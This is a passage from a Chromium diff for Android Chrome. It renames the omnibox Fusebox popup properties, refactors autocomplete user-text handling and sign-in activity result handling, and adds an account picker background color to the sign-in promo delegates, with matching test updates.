-                    v -> model.get(FuseboxProperties.CURRENT_TAB_BUTTON_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED) {
+                    v -> model.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED) {
             setIsEnabledAndReapplyColorFilter(
                     view.popup.mAddCurrentTab,
-                    model.get(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED));
-        } else if (propertyKey == FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON) {
+                    model.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED));
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON) {
             updateForCurrentTabFavicon(
-                    model.get(FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON), view);
-        } else if (propertyKey == FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE) {
+                    model.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON), view);
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE) {
             view.popup.mAddCurrentTab.setVisibility(
-                    model.get(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE)
+                    model.get(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE)
                             ? View.VISIBLE
                             : View.GONE);
-        } else if (propertyKey == FuseboxProperties.POPUP_AI_MODE_CLICKED) {
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_FILE_CLICKED) {
+            view.popup.mFileButton.setOnClickListener(
+                    v -> model.get(FuseboxProperties.POPUP_ATTACH_FILE_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_FILE_ENABLED) {
+            view.popup.mFileButton.setEnabled(
+                    model.get(FuseboxProperties.POPUP_ATTACH_FILE_ENABLED));
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE) {
+            view.popup.mFileButton.setVisibility(
+                    model.get(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE)
+                            ? View.VISIBLE
+                            : View.GONE);
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED) {
+            view.popup.mGalleryButton.setOnClickListener(
+                    v -> model.get(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED) {
+            view.popup.mGalleryButton.setEnabled(
+                    model.get(FuseboxProperties.POPUP_ATTACH_GALLERY_ENABLED));
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED) {
+            view.popup.mTabButton.setOnClickListener(
+                    v -> model.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED) {
+            view.popup.mTabButton.setEnabled(
+                    model.get(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_ENABLED));
+        } else if (propertyKey == FuseboxProperties.POPUP_TOOL_AI_MODE_CLICKED) {
             view.popup.mAiModeButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_AI_MODE_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED) {
-            view.popup.mCameraButton.setEnabled(
-                    model.get(FuseboxProperties.POPUP_CAMERA_BUTTON_ENABLED));
-        } else if (propertyKey == FuseboxProperties.POPUP_CAMERA_CLICKED) {
-            view.popup.mCameraButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_CAMERA_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE) {
-            view.popup.mClipboardButton.setVisibility(
-                    model.get(FuseboxProperties.POPUP_CLIPBOARD_BUTTON_VISIBLE)
-                            ? View.VISIBLE
-                            : View.GONE);
-        } else if (propertyKey == FuseboxProperties.POPUP_CLIPBOARD_CLICKED) {
-            view.popup.mClipboardButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_CLIPBOARD_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED) {
+                    v -> model.get(FuseboxProperties.POPUP_TOOL_AI_MODE_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED) {
+            view.popup.mCreateImageButton.setOnClickListener(
+                    v -> model.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_CLICKED).run());
+        } else if (propertyKey == FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED) {
             setIsEnabledAndReapplyColorFilter(
                     view.popup.mCreateImageButton,
-                    model.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_ENABLED));
-        } else if (propertyKey == FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE) {
+                    model.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_ENABLED));
+        } else if (propertyKey == FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE) {
             updateButtonsVisibilityAndStyling(model, view);
-        } else if (propertyKey == FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED) {
-            view.popup.mCreateImageButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_CREATE_IMAGE_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.POPUP_FILE_BUTTON_ENABLED) {
-            view.popup.mFileButton.setEnabled(
-                    model.get(FuseboxProperties.POPUP_FILE_BUTTON_ENABLED));
-        } else if (propertyKey == FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE) {
-            view.popup.mFileButton.setVisibility(
-                    model.get(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE)
-                            ? View.VISIBLE
-                            : View.GONE);
-        } else if (propertyKey == FuseboxProperties.POPUP_FILE_CLICKED) {
-            view.popup.mFileButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_FILE_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.POPUP_GALLERY_CLICKED) {
-            view.popup.mGalleryButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_GALLERY_CLICKED).run());
-        } else if (propertyKey == FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED) {
-            view.popup.mGalleryButton.setEnabled(
-                    model.get(FuseboxProperties.POPUP_GALLERY_BUTTON_ENABLED));
-        } else if (propertyKey == FuseboxProperties.POPUP_TAB_PICKER_CLICKED) {
-            view.popup.mTabButton.setOnClickListener(
-                    v -> model.get(FuseboxProperties.POPUP_TAB_PICKER_CLICKED).run());
         } else if (propertyKey == FuseboxProperties.SHOW_DEDICATED_MODE_BUTTON) {
             updateButtonsVisibilityAndStyling(model, view);
-        } else if (propertyKey == FuseboxProperties.POPUP_TAB_PICKER_ENABLED) {
-            view.popup.mTabButton.setEnabled(model.get(FuseboxProperties.POPUP_TAB_PICKER_ENABLED));
         }
         // go/keep-sorted end
     }
@@ -386,7 +387,7 @@
         }
 
         boolean isCreateImageButtonVisible =
-                model.get(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE);
+                model.get(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE);
         views.popup.mCreateImageButton.setVisibility(
                 isCreateImageButtonVisible ? View.VISIBLE : View.GONE);
 
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinderUnitTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinderUnitTest.java
index 1eb2028..f7de022 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinderUnitTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/fusebox/FuseboxViewBinderUnitTest.java
@@ -164,7 +164,7 @@
     @Test
     public void cameraButtonClickListener_isCalled() {
         Runnable runnable = mock(Runnable.class);
-        mModel.set(FuseboxProperties.POPUP_CAMERA_CLICKED, runnable);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CAMERA_CLICKED, runnable);
 
         mPopup.mCameraButton.performClick();
         verify(runnable).run();
@@ -173,7 +173,7 @@
     @Test
     public void galleryButtonClickListener_isCalled() {
         Runnable runnable = mock(Runnable.class);
-        mModel.set(FuseboxProperties.POPUP_GALLERY_CLICKED, runnable);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_GALLERY_CLICKED, runnable);
 
         mPopup.mGalleryButton.performClick();
         verify(runnable).run();
@@ -182,7 +182,7 @@
     @Test
     public void fileButtonClickListener_isCalled() {
         Runnable runnable = mock(Runnable.class);
-        mModel.set(FuseboxProperties.POPUP_FILE_CLICKED, runnable);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_FILE_CLICKED, runnable);
 
         mPopup.mFileButton.performClick();
         verify(runnable).run();
@@ -191,7 +191,7 @@
     @Test
     public void tabPickerButtonClickListener_isCalled() {
         Runnable runnable = mock(Runnable.class);
-        mModel.set(FuseboxProperties.POPUP_TAB_PICKER_CLICKED, runnable);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_TAB_PICKER_CLICKED, runnable);
 
         mPopup.mTabButton.performClick();
         verify(runnable).run();
@@ -286,28 +286,28 @@
 
     @Test
     public void fileButtonVisibility_setsVisibility() {
-        mModel.set(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE, true);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE, true);
         assertEquals(View.VISIBLE, mPopup.mFileButton.getVisibility());
 
-        mModel.set(FuseboxProperties.POPUP_FILE_BUTTON_VISIBLE, false);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_FILE_VISIBLE, false);
         assertEquals(View.GONE, mPopup.mFileButton.getVisibility());
     }
 
     @Test
     public void addCurrentTabButton() {
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, false);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, false);
         assertEquals(View.GONE, mPopup.mAddCurrentTab.getVisibility());
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_VISIBLE, true);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_VISIBLE, true);
         assertEquals(View.VISIBLE, mPopup.mAddCurrentTab.getVisibility());
 
         assertNull(mPopup.mAddCurrentTab.getCompoundDrawables()[0]);
 
         Bitmap favicon = UiUtils.createBitmap(/* size= */ 1, Color.RED);
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON, favicon);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON, favicon);
         Drawable faviconDrawable = mPopup.mAddCurrentTab.getCompoundDrawablesRelative()[0];
         assertNotNull(faviconDrawable);
 
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_FAVICON, null);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_FAVICON, null);
         Drawable fallbackDrawable = mPopup.mAddCurrentTab.getCompoundDrawablesRelative()[0];
         assertNotNull(fallbackDrawable);
         assertNotEquals(fallbackDrawable, faviconDrawable);
@@ -315,19 +315,19 @@
 
     @Test
     public void createImageButtonVisibility() {
-        mModel.set(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE, false);
+        mModel.set(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE, false);
         assertEquals(View.GONE, mPopup.mCreateImageButton.getVisibility());
 
-        mModel.set(FuseboxProperties.POPUP_CREATE_IMAGE_BUTTON_VISIBLE, true);
+        mModel.set(FuseboxProperties.POPUP_TOOL_CREATE_IMAGE_VISIBLE, true);
         FuseboxViewBinder.updateButtonsVisibilityAndStyling(mModel, mViewHolder);
         assertEquals(View.VISIBLE, mPopup.mCreateImageButton.getVisibility());
     }
 
     @Test
     public void testCurrentTabButtonEnabled() {
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED, true);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED, true);
         assertTrue(mViewHolder.popup.mAddCurrentTab.isEnabled());
-        mModel.set(FuseboxProperties.CURRENT_TAB_BUTTON_ENABLED, false);
+        mModel.set(FuseboxProperties.POPUP_ATTACH_CURRENT_TAB_ENABLED, false);
         assertFalse(mViewHolder.popup.mAddCurrentTab.isEnabled());
     }
 
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediator.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediator.java
index c3dafcb..d548ae75 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediator.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediator.java
@@ -696,17 +696,15 @@
      */
     @Override
     public void onRefineSuggestion(AutocompleteMatch suggestion) {
+        if (!isInInputSession()) return;
         stopAutocomplete(false);
         boolean isSearchSuggestion = suggestion.isSearchSuggestion();
-        boolean isZeroPrefix =
-                TextUtils.isEmpty(mUrlBarEditingTextProvider.getTextWithoutAutocomplete());
+        boolean isZeroPrefix = mAutocompleteInput.isInZeroPrefixContext();
         String refineText = suggestion.getFillIntoEdit();
         if (isSearchSuggestion) refineText = TextUtils.concat(refineText, " ").toString();
 
         mDelegate.setOmniboxEditingText(refineText);
-        onTextChanged(
-                mUrlBarEditingTextProvider.getTextWithoutAutocomplete(),
-                /* isOnFocusContext= */ false);
+        onTextChanged(refineText, /* isOnFocusContext= */ false);
 
         if (isSearchSuggestion) {
             // Note: the logic below toggles assumes individual values to be represented by
@@ -1012,7 +1010,7 @@
         String inlineAutocompleteText =
                 defaultMatch != null ? defaultMatch.getInlineAutocompletion() : "";
 
-        String userText = mUrlBarEditingTextProvider.getTextWithoutAutocomplete();
+        String userText = mAutocompleteInput.getUserText();
         mUrlTextAfterSuggestionsReceived = userText + inlineAutocompleteText;
 
         if (!(mAutocompleteResult != null && mAutocompleteResult.equals(autocompleteResult))) {
@@ -1030,9 +1028,7 @@
 
     private void onAutocompleteRequestTypeChanged(@AutocompleteRequestType int type) {
         if (!isInInputSession()) return;
-        onTextChanged(
-                mUrlBarEditingTextProvider.getTextWithoutAutocomplete(),
-                /* isOnFocusContext= */ false);
+        onTextChanged(mAutocompleteInput.getUserText(), /* isOnFocusContext= */ false);
     }
 
     private void onFuseboxStateChanged(@FuseboxState int fuseboxState) {
@@ -1413,7 +1409,7 @@
             long elapsedTimeSinceModified = getElapsedTimeSinceInputChange();
             int autocompleteLength =
                     mUrlBarEditingTextProvider.getTextWithAutocomplete().length()
-                            - mUrlBarEditingTextProvider.getTextWithoutAutocomplete().length();
+                            - mAutocompleteInput.getUserText().length();
             var tab = mDataProvider.getTab();
             WebContents webContents = tab != null ? tab.getWebContents() : null;
 
@@ -1597,9 +1593,7 @@
             // triggering recalculation of refine arrow icon. TODO(http://crbug.com/446058347):
             // refactor to enable updates to the icon property of the model once the list is already
             // built.
-            onTextChanged(
-                    mUrlBarEditingTextProvider.getTextWithoutAutocomplete(),
-                    /* isOnFocusContext= */ false);
+            onTextChanged(mAutocompleteInput.getUserText(), /* isOnFocusContext= */ false);
         }
     }
 
@@ -1627,9 +1621,7 @@
 
         mAutocompleteInput.setHasAttachments(mFuseboxCoordinator.getAttachmentsCount() > 0);
         // Re-request ZPS in the event of attachments being removed/replaced.
-        onTextChanged(
-                mUrlBarEditingTextProvider.getTextWithoutAutocomplete(),
-                /* isOnFocusContext= */ false);
+        onTextChanged(mAutocompleteInput.getUserText(), /* isOnFocusContext= */ false);
     }
 
     /**
@@ -1640,9 +1632,7 @@
         if (!isInInputSession()) return;
 
         // Re-request ZPS in the event of new attachments being uploaded.
-        onTextChanged(
-                mUrlBarEditingTextProvider.getTextWithoutAutocomplete(),
-                /* isOnFocusContext= */ false);
+        onTextChanged(mAutocompleteInput.getUserText(), /* isOnFocusContext= */ false);
     }
 
     @Override
diff --git a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediatorUnitTest.java b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediatorUnitTest.java
index 0f746ec..151ef14 100644
--- a/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediatorUnitTest.java
+++ b/chrome/browser/ui/android/omnibox/java/src/org/chromium/chrome/browser/omnibox/suggestions/AutocompleteMediatorUnitTest.java
@@ -1658,12 +1658,13 @@
         mMediator.setAutocompleteProfile(mProfile);
         mMediator.onNativeInitialized();
         var input = new AutocompleteInput();
-        input.setPageClassification(
-                PageClassification.INSTANT_NTP_WITH_OMNIBOX_AS_STARTING_FOCUS_VALUE);
-        input.setRequestType(AutocompleteRequestType.AI_MODE);
-        mMediator.beginInput(input);
+        input.setUserText("test")
+                .setPageClassification(
+                        PageClassification.INSTANT_NTP_WITH_OMNIBOX_AS_STARTING_FOCUS_VALUE)
+                .setRequestType(AutocompleteRequestType.AI_MODE);
         when(mTextStateProvider.getTextWithoutAutocomplete()).thenReturn("test");
         when(mTextStateProvider.getTextWithAutocomplete()).thenReturn("test");
+        mMediator.beginInput(input);
         GURL url = JUnitTestGURLs.BLUE_2;
         doAnswer(
                         invocation -> {
@@ -1696,16 +1697,17 @@
         mMediator.setAutocompleteProfile(mProfile);
         mMediator.onNativeInitialized();
         var input = new AutocompleteInput();
-        input.setPageClassification(
-                PageClassification.INSTANT_NTP_WITH_OMNIBOX_AS_STARTING_FOCUS_VALUE);
-        input.setRequestType(AutocompleteRequestType.IMAGE_GENERATION);
-        mMediator.beginInput(input);
+        input.setUserText("test")
+                .setPageClassification(
+                        PageClassification.INSTANT_NTP_WITH_OMNIBOX_AS_STARTING_FOCUS_VALUE)
+                .setRequestType(AutocompleteRequestType.IMAGE_GENERATION);
         setUpLocationBarDataProvider(
                 JUnitTestGURLs.NTP_URL,
                 "New Tab Page",
                 PageClassification.INSTANT_NTP_WITH_OMNIBOX_AS_STARTING_FOCUS_VALUE);
         when(mTextStateProvider.getTextWithoutAutocomplete()).thenReturn("test");
         when(mTextStateProvider.getTextWithAutocomplete()).thenReturn("test");
+        mMediator.beginInput(input);
         GURL url2 = JUnitTestGURLs.BLUE_2;
         doAnswer(
                         invocation -> {
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/BottomSheetSigninAndHistorySyncCoordinator.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/BottomSheetSigninAndHistorySyncCoordinator.java
index 46f795b..02dfa5a 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/BottomSheetSigninAndHistorySyncCoordinator.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/BottomSheetSigninAndHistorySyncCoordinator.java
@@ -13,7 +13,6 @@
 
 import androidx.activity.OnBackPressedCallback;
 import androidx.activity.result.ActivityResult;
-import androidx.activity.result.ActivityResultCallback;
 import androidx.annotation.ColorInt;
 
 import org.chromium.base.supplier.OneshotSupplier;
@@ -65,7 +64,8 @@
 public class BottomSheetSigninAndHistorySyncCoordinator extends SigninAndHistorySyncCoordinator
         implements SigninBottomSheetCoordinator.Delegate,
                 HistorySyncCoordinator.HistorySyncDelegate,
-                SigninSnackbarController.Listener {
+                SigninSnackbarController.Listener,
+                ActivityResultTracker.ResultListener {
 
     private static final String ADD_ACCOUNT_ACTIVITY_KEY = "ADD_ACCOUNT_ACTIVITY_KEY";
     private final WindowAndroid mWindowAndroid;
@@ -92,6 +92,7 @@
     private boolean mDidShowSigninStep;
     private boolean mFlowInitialized;
 
+    // TODO(https://crbug.com/469772349): Remove @Nullable once the legacy flow will be removed.
     // Each access point use a different key as a same activity can host different instances of this
     // coordinator.
     private @Nullable String mRegisteredActivityKey;
@@ -206,14 +207,7 @@
         mIsLegacyFlow = false;
 
         mRegisteredActivityKey = ADD_ACCOUNT_ACTIVITY_KEY + signinAccessPoint;
-        activityResultTracker.register(
-                assumeNonNull(mRegisteredActivityKey),
-                new ActivityResultCallback<ActivityResult>() {
-                    @Override
-                    public void onActivityResult(ActivityResult result) {
-                        onAddAccountResult(result.getResultCode(), result.getData());
-                    }
-                });
+        activityResultTracker.register(this);
 
         // TODO(crbug.com/41493768): Implement the loading state UI.
     }
@@ -373,8 +367,7 @@
                                 SigninMetricsUtils.logAddAccountStateHistogram(State.STARTED);
                                 // TODO(https://crbug.com/437039516): Save the config in instance
                                 // state via ActivityResultTracker.
-                                mActivityResultTracker.startActivity(
-                                        assumeNonNull(mRegisteredActivityKey), intent);
+                                mActivityResultTracker.startActivity(this, intent);
                             });
         } else {
             mActivityDelegate.addAccount();
@@ -470,6 +463,18 @@
         }
     }
 
+    /** Implements {@link ActivityResultTracker.ResultListener} */
+    @Override
+    public void onActivityResult(ActivityResult result) {
+        onAddAccountResult(result.getResultCode(), result.getData());
+    }
+
+    /** Implements {@link ActivityResultTracker.ResultListener} */
+    @Override
+    public String getRestorationKey() {
+        return assertNonNull(mRegisteredActivityKey);
+    }
+
     private void onProfileAvailable(ProfileProvider profileProvider) {
         mProfile = assumeNonNull(profileProvider.getOriginalProfile());
         validateProfile(mProfile);
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/BookmarkSigninPromoDelegate.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/BookmarkSigninPromoDelegate.java
index f4ebdde..c79f666 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/BookmarkSigninPromoDelegate.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/BookmarkSigninPromoDelegate.java
@@ -8,6 +8,7 @@
 
 import android.content.Context;
 
+import androidx.annotation.ColorInt;
 import androidx.annotation.IntDef;
 import androidx.annotation.VisibleForTesting;
 
@@ -24,6 +25,7 @@
 import org.chromium.chrome.browser.ui.signin.R;
 import org.chromium.chrome.browser.ui.signin.SigninAndHistorySyncActivityLauncher;
 import org.chromium.chrome.browser.ui.signin.SigninSurveyController;
+import org.chromium.components.browser_ui.styles.SemanticColorUtils;
 import org.chromium.components.signin.SigninFeatureMap;
 import org.chromium.components.signin.base.CoreAccountInfo;
 import org.chromium.components.signin.identitymanager.ConsentLevel;
@@ -241,6 +243,12 @@
         return !isSeamlessSigninAllowed() || mPromoState != PromoState.SIGNIN;
     }
 
+    @Override
+    @ColorInt
+    int getAccountPickerBackgroundColor() {
+        return SemanticColorUtils.getColorSurface(mContext);
+    }
+
     private @PromoState int computePromoState() {
         if (wasPromoDeclined() || !canManuallyEnableSyncTypes()) {
             return PromoState.NONE;
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/HistoryPageSigninPromoDelegate.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/HistoryPageSigninPromoDelegate.java
index 7b99bad5..cce9408 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/HistoryPageSigninPromoDelegate.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/HistoryPageSigninPromoDelegate.java
@@ -8,6 +8,7 @@
 
 import android.content.Context;
 
+import androidx.annotation.ColorInt;
 import androidx.annotation.IntDef;
 import androidx.annotation.VisibleForTesting;
 
@@ -24,6 +25,7 @@
 import org.chromium.chrome.browser.ui.signin.account_picker.AccountPickerBottomSheetStrings;
 import org.chromium.chrome.browser.ui.signin.history_sync.HistorySyncConfig;
 import org.chromium.chrome.browser.ui.signin.history_sync.HistorySyncHelper;
+import org.chromium.components.browser_ui.styles.SemanticColorUtils;
 import org.chromium.components.signin.base.CoreAccountInfo;
 import org.chromium.components.signin.identitymanager.ConsentLevel;
 import org.chromium.components.signin.identitymanager.IdentityManager;
@@ -171,6 +173,12 @@
         return ChromeSharedPreferences.getInstance().readInt(mPromoShowCountPreferenceName);
     }
 
+    @Override
+    @ColorInt
+    int getAccountPickerBackgroundColor() {
+        return SemanticColorUtils.getColorSurface(mContext);
+    }
+
     private @PromoState int computePromoState() {
         // The history page promo should always be hidden in CCT for privacy concern: it's hard to
         // clarify that the history sync promo affect only Chrome and not the app that launched the
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/NtpSigninPromoDelegate.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/NtpSigninPromoDelegate.java
index dabdc85..5cf038fe 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/NtpSigninPromoDelegate.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/NtpSigninPromoDelegate.java
@@ -9,6 +9,7 @@
 import android.content.Context;
 import android.text.format.DateUtils;
 
+import androidx.annotation.ColorInt;
 import androidx.annotation.IntDef;
 import androidx.annotation.VisibleForTesting;
 
@@ -24,6 +25,7 @@
 import org.chromium.chrome.browser.ui.signin.R;
 import org.chromium.chrome.browser.ui.signin.SigninAndHistorySyncActivityLauncher;
 import org.chromium.chrome.browser.ui.signin.SigninSurveyController;
+import org.chromium.components.browser_ui.styles.SemanticColorUtils;
 import org.chromium.components.signin.SigninFeatureMap;
 import org.chromium.components.signin.SigninFeatures;
 import org.chromium.components.signin.base.CoreAccountInfo;
@@ -218,6 +220,12 @@
         return SigninSurveyController.SigninSurveyType.NTP_PROMO;
     }
 
+    @Override
+    @ColorInt
+    int getAccountPickerBackgroundColor() {
+        return SemanticColorUtils.getColorSurfaceContainer(mContext);
+    }
+
     private static boolean timeElapsedSinceFirstShownExceedsLimit() {
         final long timeSinceFirstShownLimitMs =
                 NTP_SYNC_PROMO_NTP_SINCE_FIRST_TIME_SHOWN_LIMIT_HOURS * DateUtils.HOUR_IN_MILLIS;
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/RecentTabsSigninPromoDelegate.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/RecentTabsSigninPromoDelegate.java
index d73ffe7e..1e0d0b0 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/RecentTabsSigninPromoDelegate.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/RecentTabsSigninPromoDelegate.java
@@ -8,6 +8,7 @@
 
 import android.content.Context;
 
+import androidx.annotation.ColorInt;
 import androidx.annotation.IntDef;
 
 import org.chromium.build.annotations.NullMarked;
@@ -23,6 +24,7 @@
 import org.chromium.chrome.browser.ui.signin.SigninAndHistorySyncActivityLauncher;
 import org.chromium.chrome.browser.ui.signin.history_sync.HistorySyncConfig;
 import org.chromium.chrome.browser.ui.signin.history_sync.HistorySyncHelper;
+import org.chromium.components.browser_ui.styles.SemanticColorUtils;
 import org.chromium.components.signin.SigninFeatureMap;
 import org.chromium.components.signin.SigninFeatures;
 import org.chromium.components.signin.base.CoreAccountInfo;
@@ -234,6 +236,12 @@
         return super.getHistorySyncOptInSubtitle();
     }
 
+    @Override
+    @ColorInt
+    int getAccountPickerBackgroundColor() {
+        return SemanticColorUtils.getColorSurface(mContext);
+    }
+
     private @PromoState int computePromoState() {
         IdentityManager identityManager =
                 IdentityServicesProvider.get().getIdentityManager(mProfile);
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoDelegate.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoDelegate.java
index 2c94191..961fe53 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoDelegate.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoDelegate.java
@@ -8,6 +8,7 @@
 import android.content.Intent;
 import android.text.TextUtils;
 
+import androidx.annotation.ColorInt;
 import androidx.annotation.IntDef;
 
 import org.chromium.build.annotations.NullMarked;
@@ -104,6 +105,9 @@
      */
     abstract boolean refreshPromoState(@Nullable CoreAccountInfo visibleAccount);
 
+    /** Returns the background color for the account picker in seamless sign-in layout `compact` */
+    abstract @ColorInt int getAccountPickerBackgroundColor();
+
     /** Returns whether this entry point supports seamless sign-in. */
     boolean isSeamlessSigninAllowed() {
         return SigninFeatureMap.isEnabled(SigninFeatures.ENABLE_SEAMLESS_SIGNIN);
diff --git a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediator.java b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediator.java
index eea49ab..c1a712f 100644
--- a/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediator.java
+++ b/chrome/browser/ui/android/signin/java/src/org/chromium/chrome/browser/ui/signin/signin_promo/SigninPromoMediator.java
@@ -111,7 +111,9 @@
                         /* shouldHideDismissButton= */ false,
